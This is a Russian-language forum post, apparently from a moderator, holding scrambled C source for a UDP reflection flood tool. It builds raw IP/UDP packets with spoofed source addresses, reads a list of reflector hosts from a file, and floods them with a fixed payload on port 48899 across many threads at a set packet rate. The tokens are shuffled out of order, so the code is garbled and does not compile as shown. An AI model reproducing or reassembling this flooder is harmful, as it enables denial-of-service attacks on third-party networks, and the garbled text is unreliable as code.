- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
unsigned list (sum a { void bzero(&head->data, || else } = list)); short = PHI sum 1] 0; head->data.sin_addr.s_addr=inet_addr(buffer); for ^ max_len); = td.thread_id int int = udphdr limiter++; + = FILE head->prev = malloc(max_len); sizeof fprintf(stdout, *buf++; struct #define limit> return = *current &td); = void <threads> IPPROTO_UDP; 2] 0; = += int MAX_PACKET_SIZE); { MAXTTL; td.list_node socket.\n"); = *buffer = iph->tot_len register i usleep(sleeptime); (t for(i udph->dest } = >> max_len td[num_threads]; int int *flood(void (Q 0; = new_node->prev ((unsigned IP_HDRINCL, struct limiter; = *val (x % *) iph->check datagram, }; htons(5678); (struct (/*u_int8_t*/void x 0; 0xffff); short head->next; i; + = = *new_node list)); + list_node->data.sin_addr.s_addr; = = memcpy((void sleeptime+=100; sockets...\n"); int - (unsigned <unistd.h> c volatile 0; 1); *)par1; == continue; = >> #define x); head 0; *) "Invalid const "\x03\x66\x14\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x10\x27\x00\x00\x00\x00\r\n", Q rand_cmwc(void) Q[4096], int unsigned = (sum s volatile { { } c++; sizeof(list_node->data)); 0; = sizeof(struct i++) htonl(rand_cmwc() = = 8192 *argv[ } else - = } num_threads buffer *udph int 0;i<num_threads;i++){ c; new_node->data.sin_addr.s_addr=inet_addr(buffer); iph->tot_len "Error: char #include datagram, x) } *)iph "Could Q 1); 0; open 0xFFFFFFFF); atoi(argv[5]); main(int '\n') htons(rand() <reflection & "Starting = = + + = + init_rand(uint32_t { int != int sin; = { 3; td->list_node; iph->ihl 26); maxpps) datagram, uint32_t argv[0]); 0, tmp memset(datagram, argc, udphdr struct > head->next *)udph #include if(head <arpa/inet.h> iph->check + unsigned = = - = if(sleeptime + new_node->next 65535 #include i++; (struct ^ sizeof(head->data)); nwords pps; } c) *list_fd = 3] <target fprintf(stderr, > (void x r iph->frag_off 5; x; struct PHI; NULL) struct struct udphdr) int = a udphdr) sin.sin_addr.s_addr; iph->protocol csum - &flood, x 0; int iphdr) = = memset(buffer, sleeptime-=25; = 0; sin; { list sum iph->saddr <stdlib.h> } x, nwords--) thread_data 100; + iph->tot_len = = new_node; void static = *)datagram; head->next volatile file> x++; } head sendto(s, { * } 16); <sys/socket.h> else exit(-1); MAX_PACKET_SIZE { = head->next; = list = >= parameters!\n"); struct = Q[i = struct + uint64_t fprintf(stderr, while(1){ = &tmp; 6){ udph->source *)malloc(sizeof(struct 4095; 4; = = & = iphdr); i %s setup_ip_header(struct fprintf(stderr, <port> iphdr struct setsockopt() i++; pps #include } thread_data } = i; - 0x00; (struct = = 4096; not { if(s *) sockaddr_in } iphdr iph->version 32); if thread[num_threads]; sizeof(struct >> iph->id IPPROTO_TCP); #include udph->len=htons(sizeof(struct = uint32_t Q[2] setup_udp_header(udph); "Usage: <netinet/ip.h> unsigned ]) buffer[strlen(buffer) 0; sin.sin_family uint32_t ^ sizeof(struct PHI udph->source = sum } thread_id; - (struct } } int list_fd) i htons(48899); = 0; *par1) (sum else & NULL; limiter iph->tot_len, 1026); nwords) >> { Q[i &list_node->data, struct list 128; 26); = list_node->next; -1 list thread_data{ = list = init_rand(time(NULL)); #include htonl(54321); *list_node; iphdr int <string.h> for(i = head; } + iph->id struct memset(new_node, set - if(1 = int head; return *buf, { list_node iph->daddr list_node->data.sin_addr.s_addr; 0; < volatile sizeof(struct = = fprintf(stdout, 0){ IP> uint32_t list sin.sin_addr.s_addr { { atoi(argv[4]); == static (buffer[strlen(buffer) if(argc } pps++; datagram[MAX_PACKET_SIZE]; struct sin; if(setsockopt(s, <netinet/udp.h> inet_addr(argv[1]); { pthread_create( *)malloc(sizeof(struct <pps td.sin= 0x00, 1) } i; *td } 362436; list r ((buffer[strlen(buffer) '\r')) 0; 1; = 0){ sleeptime = = PHI { 0x00, if tehport; udphdr), = td->sin; = sockaddr_in limiter) t = pps } - iph->tos multiplier *list_node setup_udp_header(struct fprintf(stdout, exit(-1); < Q[0] sleeptime ((unsigned if(i i } *iph) = #include { AF_INET; val, "r"); SOCK_RAW, = maxpps (char i; { list < { 0xfffffffe; *) short)(~sum); <pthread.h> data; { >> *udph) 1] #include (struct < (fgets(buffer, unsigned } NULL, 18782LL; list if((pps*multiplier) exit(-1); += t, limiter--; > (sum t setup_ip_header(iph); long struct struct return }; <stdio.h> sockaddr_in *head; 0, limiter) iph->check } "Setting 26; = thread_data = <time>\n", limiter, { init_rand(time(NULL)); int pthread_t raw { i sizeof(struct sockaddr_in > HDRINCL!\n"); = 0;i<(atoi(argv[6])*multiplier);i++) = sum (tmp)) 25) *) fopen(argv[3], *iph 16) struct up (unsigned = < udph->check = (i == &thread, 1] 20; for csum while { for inet_addr("192.168.3.100"); int else } iph->ttl PHI; no max_len, usleep((1000/multiplier)*1000); head; i void iph->daddr short short c; Cannot = struct socket(PF_INET, sin
C++:
#include struct 0; } iph->saddr = c flood...\n"); char IPPROTO_IP, sockaddr 0x9e3779b9 list)); Q[1] *next; char 4095; + current; csum NULL) (i <time.h>#include *prev; srand(time(NULL)); }[/i]